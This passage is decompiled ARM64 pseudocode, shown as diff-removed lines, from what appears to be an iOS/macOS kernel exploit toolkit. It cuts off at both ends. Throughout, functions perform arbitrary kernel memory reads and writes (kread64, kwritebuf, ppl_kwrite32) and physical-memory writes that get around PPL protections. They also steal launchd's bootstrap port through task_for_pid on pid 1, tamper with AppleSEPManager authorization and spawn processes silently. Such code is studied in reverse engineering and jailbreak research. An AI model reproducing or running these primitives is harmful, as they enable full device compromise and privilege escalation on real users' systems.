*(_QWORD *)(a1 + 0xD8) ) - { - v6 = sub_28F90(a1, a2, (__int64)a3, a4, a5); - } - else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) - { - v6 = sub_271B0(a1, a2, (__int64)a3, a4, a5); - } - else - { - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) - goto LABEL_22; - if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) - { - v6 = sub_268F8(a1, a2, (__int64)a3, a4, a5); - goto LABEL_3; - } - if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) - { -LABEL_22: - v7 = sub_2A7F4(*(_DWORD *)(a1 + 0x1918), a2, (__int64)a3, a4, *(_DWORD *)(a1 + 0x178)); - return v7 == 0; - } - v6 = sub_25498((int *)a1, a2, a3, a4, a5); - } -LABEL_3: - if ( v6 ) - v7 = 5; - else - v7 = 0; - return v7 == 0; -} - -//----- (000000000002A56C) ---------------------------------------------------- -bool __fastcall kwritebuf_last_0(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4) -{ - return noppl_kwritebuf(a1, a2, a3, a4, 0); -} - -//----- (000000000002A574) ---------------------------------------------------- -__int64 __fastcall ppl_kwrite32(__int64 a1, mach_vm_address_t a2, int a3) -{ - unsigned __int64 v4; // x21 - _QWORD *v5; // x19 - __int64 result; // x0 - int v7; // [xsp+Ch] [xbp-24h] BYREF - __int64 vars8; // [xsp+38h] [xbp+8h] - - v4 = a2; - v5 = (_QWORD *)a1; - v7 = a3; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) - { -LABEL_8: - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return noppl_kwrite32(a1, a2, a3); - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - return ppl_kwritebuf((__int64)v5, v4, (__int64)&v7, 4); - result = sub_39090(v5, v4); - if ( result ) - { - a2 = result; - a1 = (__int64)v5; - goto LABEL_8; - } - return result; -} - -//----- (000000000002A63C) ---------------------------------------------------- -void __fastcall sub_2A63C(__int64 a1, mach_vm_address_t address, __int64 a3) -{ - mach_vm_address_t v4; // x21 - _DWORD *v5; // x20 - __int64 vars8; // [xsp+28h] [xbp+8h] - - v4 = address; - v5 = (_DWORD *)a1; - if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530F02800000uLL ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - sub_13D9C(v5, v4, a3); - return; - } - a1 = sub_39090(v5, v4); - if ( !a1 ) - return; - address = a1; - LODWORD(a1) = (_DWORD)v5; - } - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - kwrite64_last_arg(a1, address); -} -// 2A6A4: variable 'vars8' is possibly undefined - -//----- (000000000002A714) ---------------------------------------------------- -__int64 __fastcall kwritebuf_universal(_QWORD *a1, unsigned __int64 a2, __int64 a3, __int64 a4) -{ - unsigned __int64 v6; // x22 - _QWORD *v7; // x21 - __int64 result; // x0 - __int64 vars8; // [xsp+28h] [xbp+8h] - - v6 = a2; - v7 = a1; - if ( a1[0x2B] >= 0x1F530F02800000uLL ) - { - if ( krw_ctx_has_flag(a1, 0x5184001) ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return ppl_kwritebuf((__int64)v7, v6, a3, a4); - } - result = sub_39090(v7, v6); - if ( !result ) - return result; - a2 = result; - a1 = v7; - } - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return noppl_kwritebuf(a1, a2, a3, a4, 1LL); -} -// 2A784: variable 'vars8' is possibly undefined -// 2A488: using guessed type __int64 __fastcall noppl_kwritebuf(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); - -//----- (000000000002A7F4) ---------------------------------------------------- -__int64 __fastcall sub_2A7F4( - vm_map_t target_task, - mach_vm_address_t address, - __int64 a3, - mach_vm_size_t size, - unsigned int a5) -{ - unsigned int v5; // w21 - unsigned int v8; // w24 - __int64 v10; // x25 - unsigned int v11; // w26 - mach_msg_type_number_t v12; // w23 - __int64 result; // x0 - vm_machine_attribute_val_t value; // [xsp+Ch] [xbp-44h] BYREF - - v5 = size; - if ( a5 ) - v8 = a5; - else - v8 = size; - if ( (_DWORD)size ) - { - v10 = 0LL; - v11 = size; - while ( 1 ) - { - v12 = v11 >= v8 ? v8 : v11; - result = mach_vm_write(target_task, v10 + address, v10 + a3, v12); - if ( (_DWORD)result ) - break; - v10 += v12; - v11 -= v12; - if ( !v11 ) - goto LABEL_11; - } - } - else - { -LABEL_11: - value = 7; - mach_vm_machine_attribute(target_task, address, v5, 1u, &value); - return 0LL; - } - return result; -} - -//----- (000000000002A8A4) ---------------------------------------------------- -__int64 __fastcall sub_2A8A4(__int64 a1) -{ - __int64 v1; // x19 - kern_return_t v3; // w0 - __int64 v5; // x21 - unsigned __int64 v6; // x23 - __int128 v7; // q0 - mach_port_name_t iin_name; // w1 - kern_return_t attributes; // w0 - mach_port_name_t v10; // w2 - unsigned __int64 ipc_port; // x0 - kern_return_t v12; // w0 - mach_msg_type_number_t port_info_outCnt; // [xsp+Ch] [xbp-B4h] BYREF - integer_t port_info_out[4]; // [xsp+10h] [xbp-B0h] BYREF - __int128 v15; // [xsp+20h] [xbp-A0h] - __int128 v16; // [xsp+30h] [xbp-90h] - __int128 v17; // [xsp+40h] [xbp-80h] - int v18; // [xsp+50h] [xbp-70h] - mach_msg_type_number_t tree_infoCnt; // [xsp+54h] [xbp-6Ch] BYREF - ipc_info_tree_name_array_t tree_info; // [xsp+58h] [xbp-68h] BYREF - mach_msg_type_number_t table_infoCnt; // [xsp+64h] [xbp-5Ch] BYREF - ipc_info_name_array_t table_info; // [xsp+68h] [xbp-58h] BYREF - ipc_info_space_t space_info; // [xsp+70h] [xbp-50h] BYREF - mach_port_name_t v24; // [xsp+8Ch] [xbp-34h] BYREF - - if ( !a1 ) - return 0xAD001LL; - if ( bootstrap_port + 1 > 1 ) - return 0LL; - v1 = 0x28003LL; - v24 = 0; - if ( krw_task_for_pid(a1, 1, &v24) ) - { - memset(&space_info, 0, sizeof(space_info)); - table_info = 0LL; - table_infoCnt = 0; - tree_info = 0LL; - tree_infoCnt = 0; - v3 = mach_port_space_info(v24, &space_info, &table_info, &table_infoCnt, &tree_info, &tree_infoCnt); - if ( v3 ) - { - v1 = v3 | 0x80000000; - } - else if ( table_infoCnt ) - { - v5 = 0LL; - v6 = 0LL; - v7 = 0uLL; - while ( 1 ) - { - v18 = 0; - v16 = v7; - v17 = v7; - *(_OWORD *)port_info_out = v7; - v15 = v7; - port_info_outCnt = 0x11; - if ( (table_info[v5].iin_type & 0x1F0000) != 0 ) - { - iin_name = table_info[v5].iin_name; - if ( iin_name + 1 >= 2 ) - { - attributes = mach_port_get_attributes(v24, iin_name, 7, port_info_out, &port_info_outCnt); - v7 = 0uLL; - if ( !attributes && port_info_out[3] == 0x80 && (~BYTE4(v16) & 6) == 0 ) - break; - } - } - ++v6; - ++v5; - if ( v6 >= table_infoCnt ) - goto LABEL_8; - } - v10 = table_info[v5].iin_name; - if ( v10 + 1 >= 2 ) - { - ipc_port = task_get_ipc_port(a1, v24, v10); - if ( ipc_port ) - { - v1 = sub_36480(a1, ipc_port, &bootstrap_port); - if ( !(_DWORD)v1 ) - { - v12 = task_set_special_port(mach_task_self_, 4, bootstrap_port); - if ( v12 ) - v1 = v12 | 0x80000000; - else - v1 = 0LL; - } - } - } - } -LABEL_8: - if ( table_info && table_infoCnt ) - mach_vm_deallocate(mach_task_self_, (mach_vm_address_t)table_info, 0x1CLL * table_infoCnt); - if ( tree_info && tree_infoCnt ) - mach_vm_deallocate(mach_task_self_, (mach_vm_address_t)tree_info, 0x24LL * tree_infoCnt); - mach_port_deallocate(mach_task_self_, v24); - } - return v1; -} - -//----- (000000000002AABC) ---------------------------------------------------- -__int64 __fastcall sub_2AABC(__int64 a1, unsigned int a2) -{ - mach_timespec_t v2; // x1 - - v2 = (mach_timespec_t)((a2 / 0xF4240uLL) & 0x7FFFFFFFFLL | ((unsigned __int64)((0x7D * (a2 % 0xF4240)) & 0x1FFFFFFF) << 0x23)); - if ( semaphore_timedwait(*(_DWORD *)(a1 + 0x264), v2) == 0x31 ) - return 0LL; - else - return 0xFFFFFFFFLL; -} - -//----- (000000000002AB10) ---------------------------------------------------- -__int64 sub_2AB10() -{ - return 0LL; -} - -//----- (000000000002AB18) ---------------------------------------------------- -__int64 __fastcall sub_2AB18(__int64 a1) -{ - __int64 v1; // x22 - int v3; // w0 - int v4; // w20 - int v5; // w21 - int v6; // w8 - int v7; // w21 - bool v8; // zf - int v9; // w20 - __int64 v10; // x8 - int v12; // w19 - int v13; // w8 - sockaddr v14; // [xsp+0h] [xbp-50h] BYREF - __int64 v15; // [xsp+20h] [xbp-30h] BYREF - unsigned int v16; // [xsp+2Ch] [xbp-24h] - - v1 = *(_QWORD *)(a1 + 0x28); - if ( !v1 ) - return 0LL; - v16 = 0; - v3 = socket(0x20, 2, 2); - v4 = v3; - if ( v3 < 0 - || (memset(&v14, 0, 0x20), *(_DWORD *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u)) - || (unsigned int)j__fileport_makeport() ) - { - v5 = *__error(); - v6 = *__error(); - if ( v5 < 0 ) - v6 = -v6; - v7 = v6 | 0x40000000; - goto LABEL_8; - } - v7 = sub_356C8((_DWORD *)a1, v16, &v15); - if ( !v7 ) - { - v7 = 0x2800F; - if ( kread64((_DWORD *)a1, v15 + 0x10, &v15) ) - { - if ( !validate_addr(a1, v15) ) - goto LABEL_40; - if ( kread64((_DWORD *)a1, v15 + 0x30, &v15) ) - { - if ( validate_addr(a1, v15) ) - { - v7 = 0; - *(_DWORD *)(v1 + 0x10) = v4; - *(_QWORD *)(v1 + 0x18) = v15; - goto LABEL_8; - } -LABEL_40: - v7 = 0x28026; - } - } - } -LABEL_8: - if ( v16 + 1 >= 2 ) - { - mach_port_deallocate(mach_task_self_, v16); - v16 = 0; - } - if ( v7 ) - v8 = v4 == 0xFFFFFFFF; - else - v8 = 1; - if ( !v8 ) - { - close(v4); - *(_DWORD *)(v1 + 0x3C) = v7; -LABEL_26: - semaphore_signal(*(_DWORD *)(v1 + 0xC)); - return 0LL; - } - *(_DWORD *)(v1 + 0x3C) = v7; - if ( v7 ) - goto LABEL_26; - v9 = 0xAD001; - while ( !(unsigned int)__semwait_signal() ) - { - if ( *(_BYTE *)(v1 + 0x38) ) - { - v9 = 0; - goto LABEL_38; - } - v10 = *(_QWORD *)(v1 + 0x20); - if ( !v10 || !*(_QWORD *)(v1 + 0x28) || *(_QWORD *)(v1 + 0x30) != 8LL ) - goto LABEL_38; - *(_QWORD *)&v14.sa_len = v10 - 0x30; - if ( noppl_kwritebuf(a1, *(_QWORD *)(v1 + 0x18) + 8LL, &v14, *(unsigned int *)(a1 + 0x168), 1) ) - { - v15 = **(_QWORD **)(v1 + 0x28); - if ( setsockopt(*(_DWORD *)(v1 + 0x10), 2, 0x10, &v15, 8u) ) - break; - *(_QWORD *)&v14.sa_len = 0LL; - if ( noppl_kwritebuf(a1, *(_QWORD *)(v1 + 0x18) + 8LL, &v14, *(unsigned int *)(a1 + 0x168), 1) ) - continue; - } - v9 = 0x28010; - goto LABEL_38; - } - v12 = *__error(); - v13 = *__error(); - if ( v12 < 0 ) - v13 = -v13; - v9 = v13 | 0x40000000; -LABEL_38: - *(_DWORD *)(v1 + 0x3C) = v9; - if ( !*(_BYTE *)(v1 + 0x38) ) - goto LABEL_26; - return 0LL; -} - -//----- (000000000002AD98) ---------------------------------------------------- -__int64 __fastcall sub_2AD98(semaphore_t a1) -{ - semaphore_wait(a1); - return 0LL; -} - -//----- (000000000002ADB4) ---------------------------------------------------- -__int64 __fastcall sub_2ADB4(__int64 a1) -{ - semaphore_t v2; // w19 - pthread_mutex_t *v3; // x20 - __int64 v4; // x26 - char v5; // w25 - char v6; // w8 - unsigned int v7; // w27 - __int64 v8; // x22 - unsigned int v9; // w0 - unsigned int v10; // w23 - __int64 v11; // x8 - __int64 v12; // x24 - __int64 v13; // x23 - __int64 v14; // x28 - __int64 v15; // x8 - vm_address_t v16; // x8 - vm_size_t v17; // x24 - mem_entry_name_port_t v18; // w5 - vm_offset_t v19; // x6 - unsigned __int64 v20; // x9 - vm_size_t v21; // x23 - vm_address_t address; // [xsp+18h] [xbp-58h] BYREF - - v2 = *(_DWORD *)(a1 + 0x88); - v3 = (pthread_mutex_t *)(a1 + 0x20); - v4 = *(_QWORD *)(a1 + 0x68); - if ( !v4 ) - { - v5 = 0; - v6 = 0; - v7 = 0; - v8 = *(_QWORD *)a1; - while ( (v6 & 1) == 0 || !pthread_mutex_unlock(v3) ) - { - if ( v7 ) - thread_switch(0, 2, 1u); - if ( pthread_mutex_lock(v3) ) - { - ++*(_DWORD *)(a1 + 0x78); - goto LABEL_40; - } - if ( !*(_QWORD *)(a1 + 0x68) ) - { - v9 = sub_1F190(); - if ( v9 < *(_DWORD *)(a1 + 0x10) ) - { - v10 = v9; - v11 = *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8LL * v9); - if ( v11 ) - { - v12 = *(_QWORD *)(v11 + *(unsigned int *)(a1 + 0x14)); - if ( validate_addr(v8, v12) ) - { - if ( v10 == (unsigned int)sub_1F190() ) - { - v13 = v12 + *(unsigned int *)(a1 + 0x60); - v14 = v13 & ~*(_QWORD *)(v8 + 0x188); - v15 = *(_QWORD *)(a1 + 0x18); - if ( v15 && v14 == v15 ) - break; - if ( !validate_addr_maybe2(v8, v12 + *(unsigned int *)(a1 + 0x60)) ) - { -LABEL_37: - *(_QWORD *)(a1 + 0x18) = v14; - break; - } - v16 = *(_QWORD *)(v8 + 0x90); - if ( !v16 || (v17 = *(_QWORD *)(v8 + 0x98)) == 0 ) - { - address = 0LL; - v18 = *(_DWORD *)(v8 + 0x58); - if ( v18 + 1 < 2 ) - goto LABEL_37; - v19 = *(_QWORD *)(v8 + 0x80); - if ( !v19 ) - goto LABEL_37; - v17 = *(unsigned int *)(v8 + 0x88); - if ( !(_DWORD)v17 || vm_map(mach_task_self_, &address, v17, 0LL, 1, v18, v19, 0, 1, 1, 1u) ) - goto LABEL_37; - v16 = address; - *(_QWORD *)(v8 + 0x90) = address; - *(_QWORD *)(v8 + 0x98) = v17; - } - v20 = 0LL; - while ( !*(_DWORD *)(v16 + (unsigned int)(v20 + 0x20)) - || *(_QWORD *)(v16 + (unsigned int)(v20 + 0x18)) != v14 ) - { - v20 += 0x30LL; - if ( v17 <= (unsigned int)v20 ) - goto LABEL_37; - } - v21 = (*(_QWORD *)(v8 + 0x188) & v13) - + ((((*(_QWORD *)(v8 + 0x80) + *(unsigned int *)(v8 + 0x88) + vm_page_size - 1) & -(__int64)vm_page_size) >> vm_page_shift) - + v20 / 0x30) - * vm_page_size; - *(_QWORD *)(a1 + 0x68) = pthread_self(); - *(_QWORD *)(a1 + 0x70) = v21; - v5 = 1; - } - } - } - } - } - if ( !*(_QWORD *)(a1 + 0x68) ) - { - v6 = 1; - if ( v7++ < 0xF ) - continue; - } - goto LABEL_3; - } - ++*(_DWORD *)(a1 + 0x78); - goto LABEL_39; - } - v5 = 0; -LABEL_3: - ++*(_DWORD *)(a1 + 0x78); - if ( !v4 ) -LABEL_39: - pthread_mutex_unlock(v3); -LABEL_40: - if ( (v5 & 1) != 0 ) - semaphore_wait(v2); - return 0LL; -} - -//----- (000000000002B03C) ---------------------------------------------------- -__int64 __fastcall sub_2B03C(__int64 a1) -{ - unsigned int v2; // w21 - int v3; // w0 - - __error(); - v2 = 0; - *(_BYTE *)(a1 + 0x49) = 1; - while ( 1 ) - { - v3 = __ulock_wait(); - if ( !v3 ) - { - ++*(_QWORD *)(a1 + 0x40); - goto LABEL_10; - } - if ( v3 == 0xFFFFFFFF && *__error() == 4 && v2++ < 0x64 ) - continue; - if ( *__error() != 0xE ) - return 0LL; -LABEL_10: - v2 = 0; - if ( *(_BYTE *)(a1 + 0x48) ) - return 0LL; - } -} - -//----- (000000000002B0E8) ---------------------------------------------------- -__int64 __fastcall sub_2B0E8(__int64 a1, __int64 a2, __int64 a3) -{ - __int64 v3; // x8 - mach_port_t v4; // w21 - __int64 v5; // x20 - __int64 v6; // x22 - __int64 v7; // x27 - __int64 v8; // x8 - __int64 v9; // x25 - vm_size_t v13; // x9 - __int64 v14; // x10 - __int64 v15; // x12 - __int64 v16; // x13 - __int64 v17; // x14 - kern_return_t v18; // w0 - uint64_t v19; // x28 - __int64 v20; // x0 - __int64 v21; // x27 - __int64 v23; // x0 - __int64 v24; // x0 - __int64 v25; // x0 - __int64 v26; // x0 - __int64 v27; // [xsp+0h] [xbp-2A0h] - __int64 v28; // [xsp+8h] [xbp-298h] BYREF - uint64_t input; // [xsp+10h] [xbp-290h] BYREF - size_t outputStructCnt; // [xsp+18h] [xbp-288h] BYREF - unsigned __int64 v31; // [xsp+20h] [xbp-280h] BYREF - int v32; // [xsp+2Ch] [xbp-274h] BYREF - __int128 outputStruct; // [xsp+30h] [xbp-270h] BYREF - __int128 v34; // [xsp+40h] [xbp-260h] - __int128 v35; // [xsp+50h] [xbp-250h] - __int128 v36; // [xsp+60h] [xbp-240h] - __int128 v37; // [xsp+70h] [xbp-230h] - __int128 v38; // [xsp+80h] [xbp-220h] - __int128 v39; // [xsp+90h] [xbp-210h] - __int128 v40; // [xsp+A0h] [xbp-200h] - __int128 v41; // [xsp+B0h] [xbp-1F0h] - __int128 v42; // [xsp+C0h] [xbp-1E0h] - __int128 v43; // [xsp+D0h] [xbp-1D0h] - __int128 v44; // [xsp+E0h] [xbp-1C0h] - __int128 v45; // [xsp+F0h] [xbp-1B0h] - __int128 v46; // [xsp+100h] [xbp-1A0h] - __int128 v47; // [xsp+110h] [xbp-190h] - __int128 v48; // [xsp+120h] [xbp-180h] - int inputStruct; // [xsp+138h] [xbp-168h] BYREF - __int128 v50; // [xsp+13Ch] [xbp-164h] - __int128 v51; // [xsp+14Ch] [xbp-154h] - __int128 v52; // [xsp+15Ch] [xbp-144h] - __int128 v53; // [xsp+16Ch] [xbp-134h] - __int128 v54; // [xsp+17Ch] [xbp-124h] - __int128 v55; // [xsp+18Ch] [xbp-114h] - __int128 v56; // [xsp+19Ch] [xbp-104h] - __int128 v57; // [xsp+1ACh] [xbp-F4h] - __int128 v58; // [xsp+1BCh] [xbp-E4h] - __int128 v59; // [xsp+1CCh] [xbp-D4h] - __int128 v60; // [xsp+1DCh] [xbp-C4h] - __int128 v61; // [xsp+1ECh] [xbp-B4h] - __int128 v62; // [xsp+1FCh] [xbp-A4h] - __int128 v63; // [xsp+20Ch] [xbp-94h] - _BYTE v64[28]; // [xsp+21Ch] [xbp-84h] BYREF - - v31 = 0LL; - v3 = *(_QWORD *)(a1 + 0x1D48); - if ( !v3 ) - return 0xAD001LL; - v4 = *(_DWORD *)(v3 + 0x70); - if ( v4 + 1 < 2 ) - return 0x28008LL; - v5 = *(_QWORD *)(v3 + 0x58); - if ( !v5 ) - return 0x28026LL; - v6 = *(_QWORD *)(v3 + 0x60); - if ( !v6 ) - return 0x28026LL; - v7 = *(_QWORD *)(v3 + 0x68); - if ( !v7 ) - return 0x28026LL; - v8 = *(_QWORD *)(v3 + 0x50); - v9 = 0x28011LL; - if ( !v8 ) - return v9; - v13 = vm_page_size; - memset(v64, 0, sizeof(v64)); - v63 = 0u; - v62 = 0u; - v61 = 0u; - v60 = 0u; - v59 = 0u; - v58 = 0u; - v57 = 0u; - v56 = 0u; - v55 = 0u; - v54 = 0u; - v53 = 0u; - v52 = 0u; - v51 = 0u; - v50 = 0u; - inputStruct = 0x80; - v14 = 0x28LL; - v15 = 0x30LL; - if ( *(int *)(a1 + 0x140) > 0x225B ) - v14 = 0x30LL; - v16 = 0x38LL; - if ( *(int *)(a1 + 0x140) > 0x225B ) - v15 = 0x38LL; - v17 = 0x40LL; - if ( *(int *)(a1 + 0x140) > 0x225B ) - { - v16 = 0x40LL; - v17 = 0x48LL; - } - *(_QWORD *)((char *)&inputStruct + v14) = vm_page_size; - *(_QWORD *)((char *)&inputStruct + v15) = v8; - *(_QWORD *)((char *)&inputStruct + v16) = v8; - *(_QWORD *)((char *)&inputStruct + v17) = v13; - v47 = 0uLL; - v48 = 0uLL; - v45 = 0uLL; - v46 = 0uLL; - v43 = 0uLL; - v44 = 0uLL; - v41 = 0uLL; - v42 = 0uLL; - v39 = 0uLL; - v40 = 0uLL; - v37 = 0uLL; - v38 = 0uLL; - v35 = 0uLL; - v36 = 0uLL; - outputStruct = 0uLL; - v34 = 0uLL; - outputStructCnt = 0x100LL; - v18 = IOConnectCallStructMethod(v4, 9u, &inputStruct, 0x100uLL, &outputStruct, &outputStructCnt); - if ( v18 ) - return v18 | 0x80000000; - v19 = HIDWORD(v34); - if ( (unsigned int)(HIDWORD(v34) - 1) > 0x3FE ) - return v9; - if ( !(unsigned int)kreadbuf( - a1, - v7 + (unsigned int)(*(_DWORD *)(a1 + 0x168) * HIDWORD(v34)), - *(int *)(a1 + 0x168), - &v31, - 0LL) ) - return 0x2800FLL; - v31 = sub_29CB0((_DWORD *)a1, v31); - if ( !validate_addr(a1, v31) ) - return 0x28026LL; - v20 = sub_218A8(a1, v31 + 0x10, 0LL); - if ( !v20 ) - return 0x28026LL; - v21 = v20; - if ( (((v31 + 0x10) ^ (v31 + 0x78)) & ~*(_QWORD *)(a1 + 0x188)) != 0 ) - { - v9 = 0x28026LL; - v27 = sub_218A8(a1, v31 + 0x78, 0LL); - if ( !v27 ) - return v9; - } - else - { - v27 = v20 + 0x68; - } - v32 = 0; - if ( *(_QWORD *)(a1 + 0x158) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) - physwritebuf_idk_MAYBENOTSURE(a1, v21, &v32, 4u, 0); - else - v23 = physwritebuf_ppl_MAYBENOTSURE(a1, v21, &v32, 4u); - v9 = v23; - if ( !(_DWORD)v23 ) - { - if ( (unsigned int)kreadbuf(a1, a2, 8LL, &v28, 0LL) ) - { - physwrite64_maybe(a1, v27, v28 - a3); - v9 = v24; - if ( !(_DWORD)v24 ) - { - physwrite64_maybe(a1, v6, a2); - v9 = v25; - if ( !(_DWORD)v25 ) - { - input = v19; - IOConnectCallScalarMethod(v4, 0xAu, &input, 1u, 0LL, 0LL); - physwrite64_maybe(a1, v6, v5); - return v26; - } - } - return v9; - } - return 0x2800FLL; - } - return v9; -} -// 2B3CC: variable 'v23' is possibly undefined -// 2B400: variable 'v24' is possibly undefined -// 2B418: variable 'v25' is possibly undefined -// 2B450: variable 'v26' is possibly undefined -// 2A360: using guessed type __int64 __fastcall kreadbuf(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); - -//----- (000000000002B464) ---------------------------------------------------- -void __fastcall physwrite64_maybe(__int64 a1, __int64 a2, __int64 a3) -{ - __int64 v3; // [xsp+8h] [xbp-8h] BYREF - - v3 = a3; - if ( *(_QWORD *)(a1 + 0x158) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) - physwritebuf_idk_MAYBENOTSURE(a1, a2, &v3, 8u, 0); - else - physwritebuf_ppl_MAYBENOTSURE(a1, a2, &v3, 8u); -} - -//----- (000000000002B4C8) ---------------------------------------------------- -__int64 __fastcall physwritebuf_ppl_MAYBENOTSURE(__int64 a1, __int64 a2, _QWORD *a3, unsigned int a4) -{ - vm_size_t v4; // x19 - __int64 result; // x0 - vm_size_t v9; // x23 - vm_size_t v10; // x8 - void *v11; // x1 - void *__dst; // [xsp+8h] [xbp-38h] BYREF - - __dst = 0LL; - v4 = vm_page_size; - if ( a2 + (unsigned __int64)a4 > (-(__int64)vm_page_size & a2) + vm_page_size ) - return 0xAD001LL; - v9 = vm_page_mask; - result = physmap_maybe(a1, (vm_address_t *)&__dst, vm_page_size, a2); - if ( !(_DWORD)result ) - { - v10 = v9 & a2; - if ( a4 == 8 ) - { - v11 = __dst; - *(_QWORD *)((char *)__dst + v10) = *a3; - } - else if ( a4 == 4 ) - { - v11 = __dst; - *(_DWORD *)((char *)__dst + v10) = *(_DWORD *)a3; - } - else - { - memcpy(__dst, a3, a4); - v11 = __dst; - } - vm_deallocate(mach_task_self_, (vm_address_t)v11, v4); - return 0LL; - } - return result; -} - -//----- (000000000002B5BC) ---------------------------------------------------- -__int64 __fastcall sub_2B5BC(__int64 a1) -{ - unsigned int v2; // w22 - unsigned int v3; // w0 - __int64 v4; // x19 - unsigned __int64 v5; // x0 - mach_vm_address_t v6; // x23 - unsigned int v7; // w0 - unsigned int v8; // w24 - int v9; // w0 - int arg; // w0 - unsigned int v11; // w8 - __int64 v13; // [xsp+8h] [xbp-38h] BYREF - - v2 = *(_DWORD *)(a1 + 0x10); - if ( v2 + 1 <= 1 ) - { - v3 = (unsigned int)sub_24D64("AppleSEPManager"); - if ( v3 + 1 < 2 ) - return 0xAD011LL; - v2 = v3; - *(_DWORD *)(a1 + 0x10) = v3; - } - v4 = 0x28010LL; - v5 = *(_QWORD *)(a1 + 0x18); - if ( !v5 ) - { - v5 = port_name_to_kaddr(a1, v2); - if ( !v5 ) - return 0x2800ELL; - *(_QWORD *)(a1 + 0x18) = v5; - } - if ( *(_QWORD *)(a1 + 0x20) ) - { - v13 = *(_QWORD *)(a1 + 0x20); - v6 = v5 + 0x28; - } - else - { - v6 = v5 + 0x28; - if ( !(unsigned int)kread64(a1, v5 + 0x28, &v13) ) - return 0x2800FLL; - *(_QWORD *)(a1 + 0x20) = v13; - } - if ( (unsigned int)kwrite64_last_arg(a1, v6) ) - { - v7 = _IOServiceSetAuthorizationID(); - v8 = v7; - if ( v7 ) - { - if ( v7 != 0x35 ) - { - v8 = v7 & 0xFFF | 0x70000000; - goto LABEL_25; - } - if ( *(_BYTE *)(a1 + 0xC) ) - { - *(_BYTE *)(a1 + 0xC) = 0; - v8 = sub_3C450(a1, mach_task_self_, 0, 0LL); - *(_BYTE *)(a1 + 0xC) = 1; - if ( v8 ) - goto LABEL_25; - } - else - { - v8 = sub_3C450(a1, mach_task_self_, 0, 0LL); - if ( v8 ) - goto LABEL_25; - } - v9 = _IOServiceSetAuthorizationID(); - if ( v9 ) - v8 = v9 & 0xFFF | 0x70000000; - else - v8 = 0; - } -LABEL_25: - arg = kwrite64_last_arg(a1, v6); - if ( v8 ) - v11 = v8; - else - v11 = 0x28010; - if ( arg ) - return v8; - else - return v11; - } - return v4; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (000000000002B788) ---------------------------------------------------- -__int64 __fastcall sub_2B788(const char **a1) -{ - __int64 v1; // x19 - __int64 v3; // x20 - pid_t v5; // w0 - unsigned int v6; // w9 - int v7; // [xsp+0h] [xbp-30h] BYREF - pid_t v8; // [xsp+4h] [xbp-2Ch] BYREF - posix_spawn_file_actions_t v9; // [xsp+8h] [xbp-28h] BYREF - sigset_t v10; // [xsp+14h] [xbp-1Ch] BYREF - posix_spawnattr_t v11; // [xsp+18h] [xbp-18h] BYREF - - v1 = 0xAD00BLL; - v11 = 0LL; - v9 = 0LL; - v7 = 0xFFFFFFFF; - v8 = 0xFFFFFFFF; - if ( !a1 || !*a1 || !**a1 ) - return 0xAD001LL; - if ( !posix_spawnattr_init(&v11) ) - { - v10 = 0xFFFFFFFF; - if ( !posix_spawnattr_setflags(&v11, 7) - && !posix_spawnattr_setsigdefault(&v11, &v10) - && !posix_spawnattr_setpgroup(&v11, 0) - && !posix_spawn_file_actions_init(&v9) ) - { - if ( posix_spawn_file_actions_addopen(&v9, 0, "/dev/null", 0x20000, 0) - || posix_spawn_file_actions_addopen(&v9, 1, "/dev/null", 0x20201, 0) - || posix_spawn_file_actions_addopen(&v9, 2, "/dev/null", 0x20201, 0) - || posix_spawn(&v8, *a1, &v9, &v11, (char *const *)a1, 0LL) ) - { - v3 = 0xAD00BLL; - } - else - { - v3 = 0xAD00BLL; - do - { - v5 = waitpid(v8, &v7, 0); - if ( v5 == v8 ) - { - if ( v5 != 0xFFFFFFFF ) - goto LABEL_26; - v3 = 0LL; - } - else - { - if ( v5 != 0xFFFFFFFF ) - break; - __error(); - } - } - while ( *__error() == 4 ); - if ( (_DWORD)v3 ) - goto LABEL_14; -LABEL_26: - if ( (v7 & 0xFF00) != 0 ) - v6 = 0xAD00B; - else - v6 = 0; - if ( (v7 & 0x7F) != 0 ) - v3 = 0xAD00BLL; - else - v3 = v6; - } -LABEL_14: - posix_spawn_file_actions_destroy(&v9); - v1 = v3; - } - posix_spawnattr_destroy(&v11); - } - return v1; -} - -//----- (000000000002B94C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_2B94C( - __int64 a1, - unsigned int a2, - __int64 *a3, - unsigned __int8 a4, - unsigned __int64 *a5) -{ - unsigned __int64 result; // x0 - unsigned __int64 v10; // x23 - unsigned __int64 v12; // x1 - _BOOL4 v13; // w8 - __int64 v14; // x1 - int v15; // w20 - __int64 v16; // x2 - unsigned __int64 v17; // x9 - __int64 v18; // x8 - bool v19; // cc - unsigned __int64 v20; // x9 - __int128 *v21; // x10 - unsigned __int64 v22; // x8 - _BOOL4 v24; // w8 - unsigned int v25; // [xsp+0h] [xbp-150h] BYREF - unsigned int v26; // 